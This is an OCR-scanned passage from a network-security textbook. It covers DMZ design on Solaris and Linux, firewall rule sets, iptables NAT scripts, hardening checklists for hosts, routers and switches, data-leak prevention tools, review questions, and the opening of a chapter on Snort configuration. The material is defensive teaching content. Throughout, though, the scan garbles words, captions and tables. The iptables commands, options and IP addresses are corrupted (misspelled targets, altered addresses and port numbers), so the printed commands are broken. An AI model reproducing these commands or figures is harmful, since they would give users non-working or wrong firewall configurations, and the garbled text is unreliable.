added to a different DMZ altogether, due to business requirements. Placing a switch immediately behind the
router gives the ability to expand or contract the network, as necessary. If a switch is not used, the roater is
comnected via a patch or crossover cable from the border router directly to the Solaris system.

The host is connected to the outside network o provide monitoring of attempred attacks, Information gath-
ered from this sensor could be crucial in identifying attacked andior compromised hosts or, in most cases, a
passive scan of the DM Z. Furthermore, this system has no other network access because it is in an unprotected
lacation and could potentially be the victim of an anack iself. This situation can be mitigated through access
controls on the border router and DMZ systems, though the possibility of an actack will always exist due to
the bocation of the system.

Intrusion detection systems [[D5) are outdated because they do not prevent an intrusion from happening,.
Therefore, security administrators should consider deploying an intrusion prevention system (IPS) to detect
and block intrusions. Sophisticated appliances are available in an IPS to perform an application-layer level of
SCANMINE and d.rh:cting imtrusions. Often, these systems are used o block denial-of-service [DoS) or distributed
denial-of-service [DD05] worms, Trojans, and backdoor attacks.

An IPS is also used o block application-layer traffic, such as chat programs and peer-to-peer {P2F) applica-
tions, ta enhance security in a corporate network. An IPS is normally placed behind the firewall. This enables
the IP5 to focus only an the traffic that is already permitted by the firewall and, therefore, concentrate only
on the comtents of a packet to detect malicious traffic. Organizations that want to know where the anack is
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Figure 5-17  An advanced Solaris DME configuration

places a switch between the rowter and the DME

TErVeT.

happening (long before the firewall drops the traffic) can still place the IPS between the router and the firewall.
However, they must consider the need for high availability.

Solaris DMZ Servers In a Conceptual Highly Avallable Configuration

The configuration in Figure 5-18 is almost the same as the configurations described previously. However, what
is different is that, rather than one DMZ system conmected to the external network switch, three DM Zs are
connected to the external network switch. Additionally, there are several connections from these DMZ. systems
to the same public and private networks. A connection between the DMZ systems can also be seen. Firewall
and server hld-bahncing a.p|:||:in:|1|:=:. such as BIG 1T from F5, Cisco Content Service Switches jC55), and Mortel
Metworks Aleon koad balancers, can be considered. These dedicated load-balancing appliances can offload the
load balancing and high-availahbility loads from the servers.

This configuration shows a DMZ server cluster. All systems in the cluster maintain an active comnection
to ather systems in the cluster via the switch. The only system in the cluster that maintains active connections
outside the Failover information switch is the active DMZ system. When the primary DMZ system fails, it de-
activates (or is deactivated) via information over the failover communication netwoark, and the next system in
the cluster hrings up its network interfaces to perform the job of the primary DME server.

Private and Public Network Frewall Rule Set
The firewall rule set dictates the exact types of network activity permitted by the DMZ server.

The Private Network Rules Because the security of both the public and private networks depends on a
secure DMZ server, the firewall rule set must be well conceived and sufficiently secure. Although the firewall
rule set must he secure encugh to prevent attack and compromise, it is equally important that the network ar
least be usable.

Commuonly used firewall rules include a stealth rule that prevents any direct connection to the firewall.
This rule is placed at the top of the rule set. The cleanup rule drops all the traffic that any other rule does not
permit. This rule is normally placed last in the sequence of rules. Most firewalls implement this rule as an
implicit rule, which means that the rule exists, regardless of whether you create it or not.
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Figure 5-18  In this conceptual Solaris configuration,
three DMIs are connected to the external network
switch.

Figure 5-19 shows a network design with a router at the top of the network. A switch follows the router, and
then there is the DM server. The DM server connects to switches on both the public and private networks. A
waork station can be seen on the private network. A NS server can be seen on the public network. Even though
users do not need access to the mail server outside the private network, the mail server on the private network
nesds the ability to access mail outside the network.

The Public Network Rules The requirements for the public network often differ significantly from those
fur the private network. The public network usually provides a number of services available to the public Inter-
net and some for private network users as well. The biggest consideration here is that the public netwark also
requires accessibility by external users, which increases the exposure to potential attacks.

Public netwaorks are, conceptually, a lot like private networks. They require giving users the ability to access
services and should limit users” ahility to deviate outside of accessing the allowed service set. In terms of Weh
service, users of the private network will use a proxy server to access outside content. The proxy server needs
access outside the public network; a rule is created that maintains state, allowing access from the proxy server
to networks outside the public network.

The rube enforces the policy that the prosy server process may connect to any system on any port and
must maintain state. Mo outside server is permitted to connect directly to the proxy server or the proxy
server process. The mail server an the public netwoark requires a different configuration. SMTP is a two-way
protocal that requires the ability of the mail server to connect to, as well as receive con nections from, outside
mail servers.

In the previously described private network configuration, the mail server on the private network will likely
forward the mail to the public mail server. From the public mail server, the mail will then be sent to the appropri-
ate receiving server. The public rule set should be configured to allow both incoming and outgping connections
that maintain state to the mail server process on the public mail server. Finally, the public firewall rule set should
be configured for the domain name server.

Om the public network, the name server should accept replies only from other name servers. This name
server should not be authoritative for the domain and should not otherwise accept resolution requests from
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Figure 519 Firewall rules give acoess to different servicss.

users vutside the public or private networks. DINGS is inherently insecure. Although the only means o fix DMNS
is a complete revision of the protocol itself, this configuration will at least insulate the service against many
attacks. The public firewall rule should permit cutbound requests from the Domain Mame Service process
any host on port 53 and shoold permit only responses to requests, if possible. Figure 5-20 shows a manifest of
firewall rules applied to the public network.

DMZ Server Firewall Rule 5et

The DMZ host is the lynchpin of the network, and accordingly, it must be resilient against remate artacks.
Ideal implementation keeps the DMZ host unreachable from all systems, except the system from which remote
administration may be performed.

As such, the firewall rule set implementation is pretty easy to conceptualize. Generally, the best policy is
to deny all traffic to the host from all systems. Rules to permit traffic to the host for administration should
be carefully implemented to permit the administration host access to the administrative service on the DMZ
server. In that same vein, it might be helpful to give hosts from which administrative tasks will be performed
static I addresses on the private network. It is generally not the best idea to use DHCP to assign addresses to
these hosts, since this could potentially allow another host te acquire the address through either legitimate or
illegitimate means. Furthermaore, it makes it possible in the firewall rule set to specifically allocate access o
the administrative interface of the DMZ server fram the private IP address of the administration station. This
concept is shown in Figure 5-21.
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Sofarts DMZ Systemn Deshgn

The process of deploying any type of server can be broken down into three distinct phases:

* PFlarming: The planning phase typically involves designing the system. Details such as operating system
selection, hardware selection, third-party software selection, operating system software installation
details, and the like are decided during this phase.

* Implementation: The planning phase is followed by the implementation phase, which entails: assem-
bling the hardware, securely installing the software according to specifications decided in the planning
phase, configuring the host to meet design requirements, and testing the host to ensure stability and
reliahility. After the implementation phase has been completed,, the system is placed into production,
thus beginning the maintenance phase.

* Maintenance: During the maimtenance phase, the system is continually monitored for signs of intru-
sion and performance issues. Additionally, the system is regularly patched with all critical and security-
specific patches made available by the vendors of the software installed on the DMZ system over the
course of its production life.

Hardware Selection Hardware selection is the process of picking a system with enough reom to handle the
current boad, yet scalable encugh to add capacity for growth. This is a particularly important factor to consider

when selecting hardware for a DME server for two reasons:

* Growth of mehwork traffic: Growth of network traffic happens, plain and simple. A company could
have an increase in network traffic thanks to increased popularity of the company ‘Web site due to
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Figure 5-21 It is possible in the firewall rule s=t fo specifically allocate
access to the administrative interface of the DMZ server from the private IF
address of the administration station.

expanded offerings or other reasons, constituting an increased load through the public network seg-
ment. In addition, more staff could be hired, all requiring access to the Internet, which could constitute
an increase in private network traffic and thus more load on the DMZ server. A system that handles
network traffic needs an abundance of two specific resources: processing power and memaory [RAM]. It
is in BLAM that the traffic is momentarily stored, evaluated against the configured firewall rule set, pro-
cessed, and either rejected or sent on its way to the destination.

® Expansion of rdwimistered metioorks: Another factor to consider is the ability to add network interfaces.
Select a system with space on the bus that is sufficient to add network interfaces.

Software Selection In the planning phase, the next mast critical decision concerning a DMZ server is the
selection of various software packages. These software packages include the operating system that will run
on the host, as well as the firewall software package, and any other third-party software packages that might
be required. When using Sun hardware, it is a given that Solaris is the operating system of choice. It provides
the best performance on the hardware, has the best symmetric multiprocessing code of operating systems, and
provides the best support for Sun hardware.

Solaris is versatile enough to function well as a networking operating system, having its roots in the Berkeley
implementations of UNIX. Salaris, with the appropriate hardware, is capable of acting as a router in its defaul
implementation. Unlike BSD, Solaris requires additional software to provide advanced features such as packet
filtering and stateful inspection. One comman theme across all networks is that not a single commaon software
package is used to implement DMZ and firewall services. The fact of the matter is that, although most avail-
able software packages offer a plethora of common features, the decision to use one particular type or brand
of software often boils down to two factors: in-house expertise and money.

Hardenlng Checklists for DMZ Servers and 5olars
This checklist can be used as a starting point when hardening Solaris DMZ servers:
® Has a madel or diagram of the host been made?
= [Is the host physically secured?
* Has the host been kept segregated from all networks?
® Have all the recommended patches been applied?
= Has increased logging of system activity been implemented?

= Are data backups secure from physical access?
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* Are data backups secure from being overwritten?
* Have all remote administration utilities been sufficiently secured?
* Has all unnecessary software been removed ?
* Has the system been hardened manually or by using an automated wool?
* Have all unnecessary services been disabled?
* Have all unnecessary processes been disabled?
* Has host security been layered using
* role based access control?
= granular file access control lists?
* restrictive environments?
* Have any additional security-enhancing system variables been see?
* Has the firewall rule policy been implemented for the host?
* Has the HIDS been instalbed?

Designing a Linux DMZ
Ethernet Interface Requirements and Configuration

Of the many ways to design the DMZ network, the most commonly used is a Linux Firewall with three Ethernet
cards. A simple example of this is shown in Figure 5-22. Consider the following DMZ host with three NICs:

1. ethD with 192.168.1.1 private 1P address: Internal LAN connected to desktop system
2. ethl with 202.54.1.1 public IF address: WAMN connected to ISP router
3. eth? with 192.168.2.1 private [P address: DMZ connected to mail, Web, DNS, and other private servers

Traffic Routing Betwean Public and DMZ Servers

Rerouting tables are called by Network Address Translation [MAT) in order to forward the packets to the
proper destimations. 1P address 192.168.2.2 and port 15 are used for roting all incoming SMTP requests to a
dedicated mail server.

Thiscan bedone with the help of IPTables firewall rules, which are used for routing traffic between the LAN and
the DM, and the public interface and the DMZ. This is shown in the following IPTables script:

#4% end init Eirewall .. Start DMZ stuff #F&&#H

# Forward traffic between IMZ and LAH

Intermal Hetawik

Linux server with «thi >
=thl and eths

Fowlerr b extema’ natezrk
Foaver pewrn oo mamdak com up-conien opd e eda 008 T
400y natwork dagen | Srewaleeg pog. Acceomed 2YE07
Figure 5-22 A common Linux DME configuration uses a Linux
firewsall and three Ethemet cards.
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iptables -A FORWARD -i eth0 -o eth2 -m state --state
HEW,EETAELISHED, RELATED -j RACCEPT

iptables - FORWARD -i eth2 -o ethd -m state --state

ESTABLISHED, RELATED -j RCCERT

# forward traffic between DME and WAH servers SMTP, Mail etc
iptables -A FORWARD -i eth2 -o ethl -m state --stakte

ESTAELISHED, RELATED -j RCOCEPRT

iptables -A FORWARD -i ethl -o ethZ -m state --stake
HEW,EETRELIEHED, RELATED -j ROCEPT

# Route incoming SMTP [port 35 ) traffic to OMZ server 132.168.2.2
iptables -t nat -A PREROUTING -p tcp -i ethl -d 2p02.54.1.1 --dport
25 - j OHAT --to-destination 152.158.2.2

# Route incoming HTTP [port Bd ) traffic to OMZ server load
balancer IP 192.168.2.3

iptables -t nat -h PREROUTING -p tcp -1 ethl -d 202.54.1.1 --dport 80
-j DOMAT --to-destination 152.16B.2.3

# Route incoming HTTPE [port 443 ) ktraffic to DMEI server reverse
load balancer IF 132.168.2.4
iptables -t nat -A PREROUTING -p tcp -1 ethl -d Zp2.54.1.1 --dport
443
-j DMAT --to-destination 192.158.2.4
#%#% End DMZ .. Add other rul=s #§%

The following switches are wsed in this script:

* -iethl: WAN interface

® -d 202,54.1.10: WAN public IF address

* —dport 25: SMTP traffic

* - DMAT: DMAT target used

® —to-destination 1%2.168.2.2: Mail server 1P address (private IF)

Multiport Redirection The multiport IPtables module can be wsed to set source or destination ports. For

example, the following routes incoming HT TP (port 80) and HTTPS {port 443) traffic to the WAN server load
balancer IF 192.168.2.3:

iptables -t nat -h PREROUTING -p tcp -i ethl -d 202.54.1.1 -m multiport
--dport Bd,443 -j OHAT --to-de=stination 192.168.2.3

The following are some drawbacks in this system:
® The firewall becomes a single point of failure for the network.
® The firewall host must be able to handle all traffic going to the DMZ as well as to the internal network.

Protecting Internet Servers (Using DMZ Networks)

Disable ANl Unnecessary Services Unwanted and unused programs may cause security threats to systems.
In order to minimize such possibile attacks, administrators should delete or rename all unneeded links in the
appropriate run-level directory in jetcénc.dl.
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Spme services that should be concentrated are: RPC services, inehd,]inum:mfﬂ. sendmail, telnet, FTE, and PO

Run Sarvices “chrooted ™ Whenever Possible In Linux, even if a PTCESS IS mot a chroot process, it can be
run as a chroot process. This can be achieved by the command chroot «chroot-jail paths ccommand strings.

1f a chrooted process is hijacked or exploited somehow, the attacker will not ke able to access files outside
of the chroot jail.

Run Services with Unprivileged UIDs and GIDs UNIX daemons are processes that run in the back-
ground and cannot be controlled by users. Nowadays, unprivileged users can execute many programs. If a
daemon is hijacked, then the attacker can get access to the root system and cause problems.

Delete or Disable Unnecessary User Accounts Some Linux versions have files that contain information
about accounts that are required for other software installations. Sometimes, there s no need for these accounts, so
the administrator should delete such accounts.

Configure Logging and Check Logs Regularly Configuring logging and checking logs regulardy is an
essential task. An administrator should know where the logs are getting stored and where they are rotated. The
administrator should make a habit of checking the logs for anomalies.

Use Firewall Security Policy and Anti-IP-Spoofing Features Firewall security policies are said to be
effective if, and only if, the firewall can distinguish between legitimate and phony source 1P addresses. If it
fails to dis 5o, then there is a possibility that any external user can pass packets through the firewall by forging

internal source 17" addresses.

DMZ Router Security Best Practices

This checklist is important for ensuring router security:
* Authenticate routing updates on dynamic routing protocols
* Use ACLs to protect network resources and prevent address spoofing
* Secure the management interfaces:
® Use 55H instead of telnet and disable the HTTP server

= If pasible, use AAA to authenticate, authorize, and log administrative access to the rowter using a
TACACS+ or RADIUS server

* Lock down the router services:

= If posible, use SMMP version 2. Use ACLs to restrict access to SMMP

® Use authentication and ACLs to secure NTP
* [rsahle interface-related services:

= Disable redirects, disable ICMTP unreachable, disable directed broadcast, and disablle proxy ARP
* Disable unnesded services:

s Disable TCP and UDP small services, disable COF, disable Finger, disable pammd security, dizable
IP spurce route, and disable the bootp server

* Keep up to date on 105 bug fixes and vulnerabilities

DMZ Switch Security Best Practices
Here is a checklist to follow to ensure switch security:
* Secure the management interfaces:
* Use 55H instead of telnet and disable the HTTP server

s [f :p-unilﬂe, use A A& to authenticate, authorize, and |ug administrative access to the switch using a
TACACS+ or RADIUS server

* Lock down the switch services:
= If posible, use SMMP version 2. Use ACLs to restrict access to SNMP
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Use authentication and ACLs to secure NTT

* Disable unneeded services:

Disable TCP and UDP small services, disable CDF, and disable Finger

® Use VLANSs to logically segment a switch and PYLANs o isolate hosts on 2 VLAN

® Llse port security to secure the input to an interface by limiting and identifying the M AC addresses of
hists that are allowed to access the port

* Do not use VIT on DMZ switches. Configure DMZ switches for transport mode
* Keep up to date on 105 bug fixes and vulnerabilities, and upgrade if necessary

Six Ways to Stop Data Leaks

L. Get a handle on the data:

P

The actual place of data storage has to be known in order to set controls for sensitive and proprietary
information on the network, because data is widely distributed.

Impaortant data reside not only in databases butalso in e-mail messages, on individual PCs, and as data ob-
jects in Web portals.

Sensitive information comes in different forms, such as credit card and Social Security numbers.
Trade secrets are found in many types of documents and files, such as customer contracts and agreements,
and product development specifications.

Ditrerentiate data and select the most appropriate set of controls for each data class, because it is ineffi-
cient to implement the same set of controls for different data types.

Taals such as those mlﬂe'hrR.ecunn:x.Ta.Hu:. and Websense can be used o separate data inte different

categuries based on policies that scan the company's metwork automatically and identify where sensitive
data reside on the network.

. Monitor content in mation:

Keep track of information flowing on the network that belongs to partners, suppliers, and customers.
It is vital to moniter network traffic becawse there are too many data egress points.

Vendors such as Vericept Corp., Vontu Inc., Ouakley Metworks Inc., Reconnex, and Websense all sell
products that inspect e-mail, instant messaging, and peer-to-peer file sharing systems, as well as Web
postings and FTF sites, for data that may be exiting a network in violation of company policies.

‘Whenever a suspicious data packet is found entering the network, the tools that reside near network
gateways isue alerts.

Monitor all ports and protocols for data flowing in and out of networks by using content-filtering tools.

3. Keep an eye on databases, which can contain a company's informational crown jewels:

Use database monitoring tools to monitor database access. These tools are available from companies such
as Imperva Inc., Guardium Inc., Application Security Inc., and Lumigent Technologies Inc.

Database monitaring toeols keep an eye on users and administrators regarding their access privileges and
can prevent certain actions, such as: modifying, copying, deleting, or downboading large sets of files.
Monitoring tools also provide clear audit trails that track when people try to act outside of

corparate policy.

Data encryption should also be considered to encrypt sensitive and private data.

4. Limit user privileges:

Give limited access to employees.

Create access policies that limit users’ network privileges strictly, and set controls for enforcing

those policies.

Making access control decisions on an “insider vs. outsider™ basis is overy simplistic.
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5. Cover those endpoints (use of portable devices in company|:

® The use of portable devices, such as laptops and handhelds, and removable media, such as USE flash
drive and iPods, makes it easier than ever for rogue insiders to walk away with significant amounts of
corporate data.

* Develop certain measures for centrally controlling and monitoring devices that can be attached to
corporate networks and systems, and what data can be downlboaded, uploaded, and stored on them.

6. Centralize intellectual property data:
® It is not feasible for a large company to protect intellectual property scattersd in multiple systems.

® Theretore, storing all intellectual property data in a centralized decument library system, whenever
possible, makes for better security and information sharing.

Tool: Reconnex

Reconnex (shown in Figure 5-23) has developed a high-performance, appliance-based information pratection
system that enables an organization to protect all information assets on its network without requiring up-frone
krnwawledge of what needs to be protected, regardless of how that information is stored, secured, or communi-
cated. Asa result, I'T can protect against both known and emerging threats. The Reconnex system is composed
of two componemnts:
* iGuard Appliance: Hardened, turnkey appliance solution for information monitoring and protection
* imSight Corsole: Centralized imterface for managing security policies across multiple iGuard devices
The following are some of the features of the Reconnex system:
* Discorer: Detect sensitive content at rest and fingerprint this information so it can be protected in
the future:
® Automatic scanning and registration of content stores

= Riometrics employs complex algorithms to identify variations of source content with the highest levels
of effectiveness and no false positives

Automatically arms the iGuard appliance’s real-time monitoring capabilities with the biometrics of pro-
tected information

* Monitor: Classify and analyze all content in motion—across all ports and protocols—at gigahbit speeds:
= Identifies over 200 unique content types, independent of port ar protocol
* Classifies network activity independent of port, for example, to detect protocol activity operating on
a nonstandard port
* Scales to monitor hundreds of thousands of concurrent connections accurately
= Employs multiple analysis techniques—including biometrics, statistical, and grammatical—to ensure
the highest levels of accuracy
= Statistical analysis identifies specific patterns, such as the color mappings associated with image files
® Detects unusual *randomized” content, which can be an indicator of encryption
* Prevent: Alerting, blocking, and filtering to control what information is being sent or stored on the net-
work at all times:
* Supports real-time alerting of administrators and managers, as well as end-user natifications
= Granular, policy-based controls over how—for example, based on criticality—information is man-
aged as it flows across the network
® Takes action based on knowledge from the Discover and Monitor features that analyze data at rest
and data in mation, respectively

Fassive, out-of-band approach to blocking, which leverages existing 1T elements, such as network
switches, Web prooies, and e-mail gateways
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Figure 5-23 Reconnex allows the wser to monitor and protect information an
a network.

= Comtrol: Leverage prebuilt and custom policies, plus multisystem management and unified reporting, for
large-scale information protection:
* Prebuilt policies for fixed -format privacy data or compliance requirements, such as Social Security
numbers or medical records protected under HIPA A

= Flexible role assignment for organizational stakeholders that defines who can create and modify pali-
cies, or access corresponding findings

= Highly customizable, context-based policies for highly variable IF assets, including community of
users, channel of communication, and content

= Multisystem management and intuitive, unified reporting teols for simplified administration and control
® Built-in case management and workflow processes for remediation of security incidents

® Captwre: Gain historic perspective over content assets through classification, indexing, and search and
starage of all nevwork events:

= Scalable, secure database architecture that can store I.'I'I.I.IHP\]E t:n.'h]rbes of data
= Includes support for off-box, networked storage, such as SAN and MAS

= Allows for indexed searches using key words, communication parameters, content types, or other
customer-defined concepts

= Powerful tool for “after the fact™ investigation and forensics

= Integrates with Discover, Monitor, and Prevent features to gather feedback on emerging or previcusly
unknown risks in order to boost future effectiveness

Chapter Summary

A DMZ functions as a *neutral zone™ between an internal and external network.

Multitiered firewalls are often used when there is a need to provide more than one type of service to
the public.

DMZ designers should he aware of protocol valnerabilities.

It is generally inappropriate to locate a RADIUS or TACACS+ server in a DMZ segment, because it cre-
ates a condition in which the authentication information is potentially accessible to the public network.



E20 Chaplars

A three-homed firewall DMZ handles the traffic between the internal network and firewall, as well as
the traffic between the firewall and DMZ.

DM Zs for wireless networks must be set up with certain conditions in mind.

A site survey can be conducted to determine the proper rumber of access points needed based on the
expected number of users and the specific environment for a WLAMN.

Authentication may not be desired if a network is publicly accessible.

An access point is a layer-2 device that serves as an interface between the wireless network and the
wired network.

Review Questions

L

Explain inside-versus-outside architecture.

. How can a man-in-the-middle attack be conducted on a WLAN?

. Mame three WLAN authentication mechanisms.

. What is an enterprise wireless gateway?

. How can RADIUS be used to authenticate users?




Hands-On Prajects

6. Which encryption is preferable, WEP or WPA}

7. Describe zones 1 and 2 in 0 Windows-based security analysis.

B Mame three features of the Solaris operating system.

S What is the function of a firewall rule se13

Hands-On Projects

1. Perform the following steps:

® Mavigate to Chapter 5 of the Student Resource Center.

® Read the document titled * AppMote_DMZ.pdf.”
2. Perform the following steps:

® Mavigate to Chapter 5 of the Student Resource Center

® Read the document titbed “evoloution of network security.pdf.”
3. Perform the following steps:

® Mavigate to Chapter 5 of the Student Resource Center.

® Read the document titled *Security services for DMZ.pdi"”
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Snort Analysis

Objectives
After completing this chapter, you should be able to:

Understand Snort’s modes of operation
Configure Snort

Use plug-ins and preprocessors
Understand how Snort works

Write Snort rulas

Use the ID5 Policy Manager

Key Terms

Portscan  a TCP connection that artempts to send to more than P ports in T seconds, UDP
packets sent to more than P ports in T seconds, or a single stealth-scan packet

Introduction to Snort Analysis

Snort is a widely used, open-source, network-based intrusion detection system capable of performing
real-time traffic analysis and packet logging on IP netwoarks. Snort performs protocol analysis and
content matching to detect a variety of attacks and probes such as: buffer overflows, stealth port
scans, CGI attacks, SMB probes, O5 fingerprinting attempts, and more. This chapter will discuss
havw to effectively use the Snort program.

Modes of Operation
Snort can be configured to run in the following modes:

= Packer Sniffer: Snort simply reads the packets off the network and displays them in a con-
tinuous stream. Use these commiands:

* To display the IP addresses and the TCF/UDPICMP packet headers, use snort -v
&1
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5 To see the headers and p:h:ll::t data in transit, use smorg -vd
* To show the data-link-layer headers in a more descriptive display, use snort -vde or snort -d -v -2

* Packet Logper: To record the packets to the disk, specify a logging directory using the command snort
-dev -l <logging directory= and Snort will automatically know to go into packet-logger mode. With a
host address, the command is snort -dev -l <logging directory= -h «<host address=.

® To log packets in Tepdump format to a single binary file in the logging directory, use
snort -| <logging directory= -b

® To run a hinary log file through Snort in sniffer mede in order to dump the packets to the screen, use
snornt -dvr <packet log=

® To see the ICMP packets from the log file, use the command snort -dvr <packet log= icmp to specify
a BPF (Berkeley Packet Filter] at the command line, and Snort will see the ICMP packets in the file

* Metwork Imrusion Detection System

® To enable network intrusion detection system (NIDS) mode, which will cnly record activity matching
a user-defined rule set rather than every packet sent down the wire, use snart -dev -1
«logging directory= -h <host address» -c snort.conf

* To configure Snort to run in its most basic W15 form, use snort -d -1 <logging directory= -h
imt d.dl!i” -C mﬂrL:DﬂE

Table 6-1 shows the options available in MIDS mode.

* [Inline: Inline mode obtains packets from 1P Tables instead of libpcap, and then uses new rule types to
help IPTables pass or drop packets based on Snort rules. There are three rule types that can be used in
inline maode:

= Drop: will tell IPTables to drop the packet and log it

® Reject: will tell 1PTables to drop the packet, log it, and send a TCP reset if the protocol & TCF, or an
unreachable ICMP part if the protocal is UDF

= Sdrop: will tell IPTables to drop the packet without anything getting logged

Features of Snort

The following are some of the features of Snort:
* Protocol analysis
* Content searchingfmatching
* Real-time alerting capability through the following means:
= Syslog
= User-specified files

Option piion

-, full Full aert moda: will be used sutomatically if no othar moda ks specified

- nang Turns off alarting

- g ‘Ganarotes omg-style alerts, which show tha same detalls on screen os full
olert mode, along with the packet omtants

Table &1 Thesa options can ba usad In MIDS mods
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Fgure 6-1 This shows exampls owtput from Snort.

a UNIX sockets

* Windows pop-up messages
® Can read a Tepdump trace and run it against a rule set
* Flexible rules language

Snort can be configured to watch a network for a particular type of attack profile and then alert the incident
response team as soon as the attack takes place. An example of Snort output can be seen in Figure 6-1.

Configuring Snort
Snort is configured using the text file snort.conf. This configuration file is broken down into the following
sections:
® Variahles
* Preprocessors
* Output plug-ins
® Rules

The include keyword allows ather rules files to be induded within the rules file indicated on the Snort com-
mand line. It works much like a #include in the © programming language, reading the contents of the named file
and adding the contents where the include statement appears. To use the include keyword, insert into the file:

include <include file path/name=

Included files will substitute any predefined variable values into their own variable references.



-4

Chapior &
‘$hvark or $war Roplaces with tha contants of varablke war
Hﬁmﬂﬁﬂ-mmﬂ-ﬂ-ummﬂ-mrq
Table 6-2 This shows tha syntax of varlous varlable operators
Variables

Variables are used to define parameters for detection, specifically those of the local netwoark or specific servers
or ports for inclusion or exclusion in the rules. These are simple substitution variables set with the var keyword.

The syntax to use variables in the configuration file is:
war <nama> <valus:=
The following is an example of variable definition and usage
war MY¥_NET [192.168.1.0/24,10.1.1.0/24)
alert top anoy amy -= SMY_MET any [flags:8, msg:"SYN packet®;]

Using the § operator, metavariables are defined. These can be used with the variable modifier operators, 3
and -, as described in Table 6-2.

Many configuration and command-line options can be specified in the configuration file using the config
command as follows:
config «dirmctives [<wvaluss]

Table 6-3 shows the different config directives.

Snort Preprocessors
Snort preprocessors offer additional detection capabilities, including the following:

* Stream reassemblyidefragmentation
* Part-scan detection

The following is an example of a preprocessor configuration:
Preprocessor flow: stats_interval 2 hash 0 preprocessor bo

Preprocessors are used o implement advanced features, control deltas for specific checks, andfor imiplement
specific plug-ins, such as anomaly detection. Preprocessors allow users to extend the functionality of Snore by
inserting modular plug-ins. Preprocessor code is run before the detection engine is called, but after the packet
has been decoded. The packet can be madified or analyzed in an out-aof-band manner joutside the established
network connection) through this mechanism. Preprocessors are loaded and configured using the preprocessor
keyword. The fol lowing example shows the format of the preprocessor directive in the Snort rules file:

PrEprOCesSSor snames: =opbionss

preprocessor minfrag: 128

preprocessor fragl?

preprocesscr streamd: disable svasion_alarts

preprocesscr streamd reassemble

preprocessor http inspect _server: server defaulc 3
profile all ports | 80 80B0 E180 ] O,

oversize_dir_length sSo0
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ovocve ol lowenptn ]

alertfla cardig alartFike alarts sats the alarts autpat fila
dump chars anly <andig dump chars only Turns o character dumps nart -c}
_

config decoda_data_link Dwcodes layer-2 haadars {snort -a)
M'm_mﬂgm Forks 232 daaman nort -6
—
.__Mm_m
ruig_mﬁgrniug Disables logging: doas net disabls alorts lmart -
M_WW
dmt_wmm Chroots to spectfied directary in USIL systams (snart £

Tahde 6-2 Thasa are the difforent directives that can be usod with tha config command

Snort preprocessors do one of two things:
* Examine packets for suspicious activity
* Muodify packets so that the detection engine can properly interpret them

A number of attacks cannot be detected by signature matching wia the detection engine, so examine pre-
processors can be used to detect suspicious activity. These types of preprocessors are extremely wseful for dis-
covering nonsignature-based attacks. The other preprocessors are responsible for normalizing traffic so that
the detection engine can accurately match signatures. These preprocessors defeat attacks that attempt to evade
Snort’s detection engine by manipulating traffic patterns.

Port-Scan Detector
The portscan preprocessor can be used to do the following:

® Log the start and end of port scans from a single-source IF to the standard logging facility
= Ifa log file is specified, log the destination 1Ps and ports scanned, as well as the type of scan

In Snart, a port scan is defined either as a TCP connection that attempts to send to more than P ports in T
seconds or as UDP packets sent to more than P ports in T seconds. Ports can be spread across any number of
destination IP addresses and may all be the same port if spread across multiple 1Ps.

A port scan can also be defined as a single stealth-scan packet, such as MULL, FIN, YN-FIN, or Xmas.
This means that, from scan-lib in the standard distribution of Smort, ] should comment out the section for
stealth-scan packets to prevent your log file from getting flonded with alerts. With the portscan preprocessor,
these alerts will only show once per scan, rather than once for each packet. When using the external logging
feature, the technique and type will be noted in the log file.

frortscan is used as follows:

portscan: =zmonitor networks cmumber of portss zdetection periods «<file
paths
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poriscan-igrorelasts tells Snort to ignore TCP, SYN, and UDTP port scans from certain hosts. The arguments
tor this module are a lst of 1P2CIDR blocks to be ig:nured. This is useful when certain servers, such as NTT,
MF5, and DMNS servers, set off false alarms. Its syntax is as follows:

portscan-ignorehosts: <host lists
The following is an example:
Preprocessor portscan-ignorehosts: 192 168.1.5/3F 1932.168.3.0/24

Output Plug-ins

Ouatput plug-ins, or modules, allow Snort to be much more flexible in the formatting and presentation of output
to its users. These plug-ins define the means by which Snort will perform logging and alerting, including 1o a
file, database, or socket.

Multiple autput plug-ins may be specified in the Snort configuration file. When multiple plug-ins of the same
type are specified, they are stacked and called in sequence when an event occurs. As with the standard logging
and alerting systems, output plug-ins send their data to fvarflogfsnore by default, or to a user specified directory
using the | command-line switch.

Crutput modules are loaded at runtime by specifying the output keyword in the rules file as follows:

oubput enames»: =optionss

Snort has nine cutput plug-ins:

* alert_sysfog: This module sends alerts to the syslog facility, much like the -5 command-line switch. This
mosdule also allows the user to specify the logging facility and priority within the Snort rules file, giving
greater flexibility in logging aleres.

alert_smyslog: <farilitys <prioritys <optionss
* alert_fast: This will print Snort alerts in a guick, one-line format to a specified outpat file. Itisa

faster alerting method than full alerts because it doesn’t need to print all of the packet headers to the
output file.

alert fast: <output filenames

-

alert_fuill: This will print Snort alert messages with full packet headers. The alerts will be written in the
default logging directory fvarlogisnort or in the logging directory specified on the command line. Inside
the logging directory, a directory will be created for each 1P These files will be decoded packet dumps
of the packets that triggered the alerts. The creation of these files slows Snort down considerably, so it is
only practical in very light traffic situations.

alert_full: coutput filenames

* alert_umixsock: This sets up a UNIX domain socket and sends alert repores to it. External programsd
processes can listen in on this socket and receive Snort alert and packet data in real time.

alert_unixsock

* fag_tcpdump: The log_tepdump module logs packets to a Tepdump-formatted file. This is useful for
performing postprocessing analysis on collected traffic. This module takes only a single argument: the
name of the oatput file. Note that the filename will have the UNIX time stamp in seconds appended 1o
it in order ta keep data from separate Snort runs distince.

log_topdump: =output fil=names

* database: This module sends Snort data to a variety of 50L databases. More information on installing
and configuring this module can be found on ércident.org. The arguments for this plug-in are the name
of the database to be bogged to and a parameter list. Parameters are specified with the format "param-
eteT = argument.”

database: =log | alerts, =database types, «parameter lists
* csp: The csv output plug-in allows alert data to be written in a format that can be easily imported

inte a database. The plug-in requires two arguments: a full path name to a file and the cutpat
formatting option.

output alert_cev: =zfilenames «formakts
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* pmified: The unified output plug-in is designed to be the fastest possible method of logging Snore events.
This kogs events in binary format, allvwing other programs to handle complex logging mechanisms that
would otherwise diminish Snort’s performance.

output alert unifisd: <base filenames [, limit <file size limit in MBx]
output log unified: <base filename» [, limit «<file size limit in MBs]

* og_mwli: The log_null plug-in allows the creation of rules that trigger alerts for certain ty pes of traffic
without creating packet log entries. This is equivalent to using the -n command-line wption, but it is able
to work within a rule type.

output log null

How Snort Works
When Snort is started, it goes through the following four processes:
1. Initialization
1. Decading
3. Preprocessing
4. Detection

Initializing Snort
This phase initializes the Snort engine, a process that consists of setting up the data stroctures, parsing the con-

